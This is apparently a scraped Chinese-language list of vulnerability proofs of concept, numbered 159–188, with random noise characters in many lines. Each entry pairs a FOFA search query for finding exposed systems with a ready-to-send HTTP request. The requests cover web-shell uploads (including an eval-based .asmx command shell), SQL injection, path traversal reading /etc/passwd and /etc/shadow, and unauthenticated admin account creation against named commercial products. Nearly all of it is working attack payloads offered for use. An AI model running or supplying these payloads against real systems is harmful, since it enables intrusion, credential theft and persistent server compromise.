9 y8 _8 S& ?& r1 c6 nPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
9 H9 X9 v1 W4 X+ J' C2 U* qContent-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1
; n  T- I6 w3 m$ s$ a

159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
, r. l' K  g  ~POST /webservices/WebJobUpload.asmx HTTP/1.1
' B6 ]9 c2 E0 f" M# wHost: x.x.x.x
/ Z" N/ H1 [  B8 R+ a8 ^% wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
9 `" _6 I0 {9 i& `) k1 [Connection: close
( i; f8 m2 w: r5 d! u. @Content-Type: text/xml; charset=utf-8
8 e2 q6 P+ ~! |* B5 T: fSoapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
& F; H/ c9 v7 j+ t<soap:Body>
2 Q# R! T6 g1 K* r; Z: r3 D<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
: U, s# y7 x( Q& g7 {! a' u<subFolder></subFolder>
2 ~; C' P/ x+ A9 P9 u' W( ~& ]<fileName>abcrce.asmx</fileName>
" ?+ \  a7 g6 N* r% r3 C% m<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
' @6 R5 y2 r, h+ u0 _2 F0 u! D! t" Z) f</jobUpload>
6 o; i1 i9 y& T9 k% |8 W" k</soap:Body>
. m5 J3 }# b% X" O1 W8 f- D& K</soap:Envelope>


/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
  `- N) Z/ Q$ n- \% Q6 ^
2 I/ K1 q9 ^) Z- P" x; n
160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
# Z1 ^4 x) k; p6 }( zFOFA：title="Nexus Repository Manager"
0 s5 l$ ]/ t# ~/ W7 n9 K2 lGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
* H5 L' {/ f/ l9 @* wAccept: */*
8 t% c( r$ g9 Z2 Y8 yAccept-Language: en
- e0 Z, q! t. J2 r( K; t$ VAccept-Encoding: gzip
+ q4 ]) K1 d2 v
7 |  e% z8 B/ M% P4 E
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
, l* [$ m) W4 A: ?5 m* x0 GPOST /Webservice.asmx HTTP/1.1
2 S/ _: D& J3 J' }$ k$ GHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
6 u+ ^& }) I8 C3 p( D# p# dConnection: close
/ g: K+ U4 y" w  D6 gContent-Length: 445
9 b3 T9 i: o3 J; W% LContent-Type: text/xml
7 S* B% B+ a/ ^; y8 ^% N7 WAccept-Encoding: gzip
/ P/ a% r, p5 D
<?xml version="1.0" encoding="utf-8"?>
$ }1 O  |- ^# _1 b2 }<soap:Envelope xmlns:xsi="
# @+ \! H* r: S6 W1 `4 a, e7 Zhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
! f" y! |- W" {" |% u0 x: A. D3 U<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
" P9 b6 P: u& n" \<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
* I0 ~0 ?  ^/ |1 j8 H1 @<tag>3</tag>
% X6 P; |6 G5 r! l5 v7 `</UploadResume>
" N3 Y! ^0 P! w2 I8 {5 [</soap:Body>
* D1 d$ D! u5 P% z4 t0 v' `</soap:Envelope>


http://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
8 Z1 ?2 A5 A$ V' S9 b# |5 U$ _POST /QH.aspx HTTP/1.1
8 _% ]" b5 E& V- A+ l: JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
  ~+ h. o, G6 \! X- l9 s! yAccept-Encoding: gzip

* {8 H* z- ~. p------WebKitFormBoundaryeegvclmyurlotuey
, N$ {' b' V- W" Y8 e8 _6 [! FContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

8 v& v8 d8 U( B<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

upload
" _' A( J; l7 B------WebKitFormBoundaryeegvclmyurlotuey
# h- E, Z6 t% f( V) b1 k! U5 kContent-Disposition: form-data; name="responderId"
5 ?# |. f  ?, S; A1 M- y5 |( T# B
# }" }7 n2 ?$ r. ^) {( aResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
2 P7 o) K$ g0 R' z5 v* jContent-Disposition: form-data; name="remotePath"

; ~8 D( B/ {% ~) q# q( g/opt/resources
6 V; ?- B$ Q$ }  _" a------WebKitFormBoundaryeegvclmyurlotuey--
; r7 T* T+ ^' i6 u, |$ O
4 f- b2 B( w+ E  Z+ e8 Y0 Q
http://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
4 p3 @9 a2 |8 W" g4 t) D& S0 kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
& x" F, t, H# x3 N) \Connection: close
; I  R2 U( r3 y  \! l2 \Content-Length: 293
; U- h+ v+ T/ ~# n5 vAccept: */*
' c' ~( m) k5 J- j# z5 O3 C* S8 ~Accept-Encoding: gzip, deflate
8 ^; j8 A+ \9 F- P; X  fAccept-Language: zh-CN,zh;q=0.9
& @0 e% b9 B" D3 b" @$ t, V% tContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
, R- G8 [/ `1 O3 r' c) O, b
------iiqvnofupvhdyrcoqyuujyetjvqgocod
1 C2 c& V' v/ }# b/ T& h! s/ fContent-Disposition: form-data; name="name"
8 A' V! H2 X( G% \/ b; _$ m
1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
& [* d- g, g* HContent-Disposition: form-data; name="upfile"; filename="1.php"
$ D# J; j% |( [6 FContent-Type: image/jpeg

: w4 u" s$ D7 ?% P# }3 E% p; ?rvjhvbhwwuooyiioxega
! h' K& X1 ?! m/ v2 h) n" y; U------iiqvnofupvhdyrcoqyuujyetjvqgocod--


164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
! d0 A) z: F6 `* ~+ C4 ^$ qFOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
' T9 q! |6 T& X% p5 i- X% n" gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
: N- l; l7 r3 y8 s! }# YX-Requested-With: XMLHttpRequest
8 X: T7 b8 C8 o/ @, @0 D$ B' w, BAccept-Encoding: gzip
% W/ i4 \  k9 x9 G0 n# ~
5 W% O# P0 b/ f  J7 K/ a+ |------dqdaieopnozbkapjacdbdthlvtlyl
% y5 e8 e1 k0 m% X* s# lContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
2 f3 r6 M% V+ Y5 l, M: WContent-Type: image/jpeg

7 f- E/ ~: P/ Q7 {: f; S5 O<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
2 l, O4 s" ?! W2 @* F( J------dqdaieopnozbkapjacdbdthlvtlyl--

  l7 P. M) m# P5 f# M( v& n8 R
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
0 I  j9 @( p1 V9 Z& G% s
165. OrangeHRM 3.3.3 SQL 注入
* E6 O1 _4 f3 W/ x' ~  UCVE-2024-36428
FOFA: app="OrangeHRM-产品"
( t" J" l& k4 Y% NURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
% P0 a$ s; T7 O! `! k
6 |+ r5 x) O7 G" Q% `/ o7 C4 V
5 x+ e7 H" ^' k! |1 V9 I5 |( P$ ^166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
! \) `) A1 U5 L/ V1 C+ uPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
& ~6 z) L( ?- D. j3 S5 xPragma: no-cache
Cache-Control: no-cache
4 C! K, G4 J, K9 f- u, A* gUpgrade-Insecure-Requests: 1
0 j: c6 `8 a7 X( L6 b" ~- bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 I- E/ ^% |8 u' @5 x& IAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  i4 Q6 V/ N  j1 y) [' a5 ]! wCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
* a8 Z2 q* G: O7 Y. }Connection: close
, P. s+ S6 z9 |' B8 ~" OContent-Type: application/x-www-form-urlencoded
Content-Length: 89
1 J) O  D, @! M% m+ [6 I
0 ~+ L1 w( |6 `; [: ?* rMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
! u2 k) @. q3 }! s
4 }4 T8 w) @# u
167. 精益价值管理系统 DownLoad.aspx任意文件读取
2 O5 _5 n: W, [% c0 qFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
$ k+ e* K+ k( n; IGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
0 e7 [: I# W, z) U* t3 B1 A) I7 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" N4 L+ s- s; z9 ^6 O$ `4 rContent-Type: application/x-www-form-urlencoded
5 f1 |4 D6 l3 SAccept-Encoding: gzip, deflate
3 @6 T# @- ?* jAccept: */*
) y" K+ K8 b, IConnection: keep-alive
$ {' Z, S! i6 s1 s5 J5 V

168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
9 O! e# G: R2 [" H( ]* `6 W8 vHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
7 p6 J) x( `3 t: c/ d, vConnection: close


& R, k- Z* u8 h- W+ ^# B
4 _6 n$ L: o0 |" f- T169. 宏景EHR downlawbase SQL注入
" \! w; z. B. |) Q  p3 r$ eFOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close


  N/ t. ]& j# N  Q  n0 ~: c
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
) ~6 S8 `! e2 W. r& L# W
$ x! o6 v! P0 U' u" M. I1 dfilename=../webapps/ROOT/WEB-INF/web.xml
  a  z+ L& u# j9 U
, A4 F+ Y/ }* ~6 h8 U) x
171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
3 s; |/ W8 f$ EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. p0 L* W4 f( d! r, nAccept-Encoding: gzip, deflate
  f/ w9 z3 {0 o. s" @Connection: close

3 C$ f- o, z: J8 @. w, y

172. DT-高清车牌识别摄像机任意文件读取
. E+ v* x2 E3 c$ l/ T) MFOFA：app="DT-高清车牌识别摄像机"
3 [' G0 ^& f8 N9 g# ~5 X6 M! OGET /../../../../etc/passwd HTTP/1.1
Host: your-ip
5 a" S/ \4 j4 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

& K4 `; E" t, }6 b9 L$ ^+ g) j
/ O$ c/ @# q5 j. n/ k
173. Check Point 安全网关任意文件读取
+ k) f5 ~0 c' I- }, J5 zCVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow

6 O( u2 B# t) {# J% y+ }
- `2 M% B5 c& K
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
$ K2 s! ?& u3 j6 OFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
9 x+ X& D+ R2 O% y" @( o' E! xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
. J: j; W% ?0 mAccept-Language: zh-CN,zh;q=0.9
Connection: close

; f7 c# L) V7 a. o- O

8 e8 n( |4 p  e( w$ D175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
5 @) c2 v; L6 }/ jHost:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
# f! |6 G1 w+ D/ bUpgrade-Insecure-Requests: 1
4 O8 r8 [( G+ t& a  Z

176. 电信网关配置管理系统 rewrite.php 文件上传
; _  F. M3 }1 K9 e+ m2 b; QFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
2 _  R& V7 [  i( W  }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
. x; G. r6 N; H1 l, U, RContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
  s  M# p% v* k- uContent-Disposition: form-data; name="uploadtime"
6 k: \+ x5 b; [  _5 l
8 e9 Z' m3 x2 w. r
------WebKitFormBoundaryOKldnDPT--
) K% T* [% o7 c4 P) x+ j
& y" Z* e' ]3 Y1 K0 \" p6 [
8 l6 e' D- o& `0 ?. \6 b
177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
" I" c  o$ H- j0 @( s: J3 u* U9 u4 r/userLogin.asp/../actionpolicy_status/../M60.cfg
) \( L, [+ e+ j9 v' O# L' M: w, b/userLogin.asp/../actionpolicy_status/../GR8300.cfg
, i  F- Q9 E  t+ c- ^, ~) J, d/userLogin.asp/../actionpolicy_status/../GR5200.cfg
7 L& m4 W" N% U% L4 t. P+ m- O/userLogin.asp/../actionpolicy_status/../GR3200.cfg
9 {( [3 h+ J' `' i& w  k& M, g. k/userLogin.asp/../actionpolicy_status/../GR2200.cfg
2 ~' j, N9 Q( `( z0 O/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
6 w( A4 U. V: q3 x4 u' M) Z/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
' Z* H- e4 h+ a1 p/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
; S0 E3 \3 r5 D" P/userLogin.asp/../actionpolicy_status/../ER5200.cfg
8 N9 V% G4 B, P% V0 j* v/userLogin.asp/../actionpolicy_status/../ER5100.cfg
" `$ _3 n' [; ^5 j4 e" r  y/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
: u4 }/ I( O: m3 o/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
' @  c# P6 P6 b4 _( m/ J7 ~9 S/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


- q6 p8 A6 ^% Y9 C' y7 c, X1 ?; h178. H3C校园网自助服务系统-flexfileupload-任意文件上传
% p# _) F3 e( _% P: AFOFA：header="/selfservice"
2 A' G& x) o) i4 lPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
$ u# w3 `1 j* N1 R5 t) _8 X9 I% g$ O$ [Content-Length: 252
Accept-Encoding: gzip, deflate
) C9 G7 C4 t* pConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255
4 U2 S; k" ~# ^& V# r, G8 S
/ X- s, c6 q$ v( `4 j12234
3 B5 Z" S  f8 B0 d2 g2 S4 ^2 l-----------------aqutkea7vvanpqy3rh2l--
, C, B' R. W8 G" j' }

GET /imc/primepush/%2e%2e/flex/12234.txt

3 q9 C9 y9 ^7 p) P6 n7 t
! B2 O. @3 i* H179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
; p0 i* b! y' M2 hHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

path=../log4net.config&Name=

: o0 j/ H, j5 o) \, T! t
180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
  R9 ~/ X( ]# B7 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- X5 r5 S( D' M$ \+ V+ _* R2 GAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
% ~" m) s" x/ n9 e0 `; T0 X: ^3 cConnection: close
" N# j0 |7 P! d

' U9 w- o4 Z2 |. p" z: V, \0 p181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
$ U) z; S' N9 K- e- vPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
+ E0 d: Y5 n( o# y5 A7 tHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
! E2 P$ _( U0 L! b1 W  s

action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 N* P/ _* V3 H2 ~# rAccept-Encoding: gzip, deflate, br
/ n3 C8 M" y  Z* o  h  w) {Accept-Language: zh-CN,zh;q=0.9
# V& A4 O% i2 j* {# FConnection: close
Content-Type: application/x-www-form-urlencoded
( K5 f' Y2 e; w" o! D) U
' R( I2 C- R* u/ e* T, s  X) x
username=test1234&pwd=test1234&savedays=1

9 q  }6 B7 V. S& y
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
$ G3 l, z( B8 b6 d2 TFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
& G; l- f$ K8 f) d& Q# {2 ]& J& @* ^User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
9 f5 M. f4 \; C  `7 _" wAccept-Charset: utf-8
# w( m) Z9 \% Y0 E) vAccept-Encoding: gzip, deflate
Connection: close


184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
: `5 ~* x% v# G1 \; q( VFOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
7 [  b, A/ u; ]. q2 _" @0 uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
$ G1 v& P0 \) F$ ~4 y" X+ G8 MContent-Type: text/xml; charset=utf-8
" \9 R5 k. Y+ V7 t" |5 tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest


insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

3 {+ X& i9 Z9 Z3 I) Y6 I) P; k
8 N2 L) F! W" @  _) O185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
# M) ~1 K  R4 h  I) B* OFOFA：app="REALOR-天翼应用虚拟化系统"
# M' c8 N# B2 MGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
9 }) m$ j0 h, i/ w9 I

8 M" \% M; j# ?: _6 x+ n186. F-logic DataCube3 SQL注入
CVE-2024-31750
4 A! j: [% t/ eF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! {" l- j+ R; s+ I( U& H3 i. \: ?# eAccept-Encoding: gzip, deflate
Connection: close
0 z3 t: v. y) F8 f! f% l1 W9 ?Content-Type: application/x-www-form-urlencoded

req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
* c  b) U3 D: I0 B- p* L

187. Mura CMS processAsyncObject SQL注入
; W8 J) R3 g. L$ j) X# Y+ \CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
4 W8 R7 Y2 {1 y; V2 EHost: your-ip
Content-Type: application/x-www-form-urlencoded


! w* e" Z5 k! E4 ~$ k( @6 t% u% cobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
; p9 w* Q# a" y5 C2 |$ U# ?FOFA：body="/system/get_rtc_user_defined_info?site_id"
& q! Q6 _0 f1 c, j* ]GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
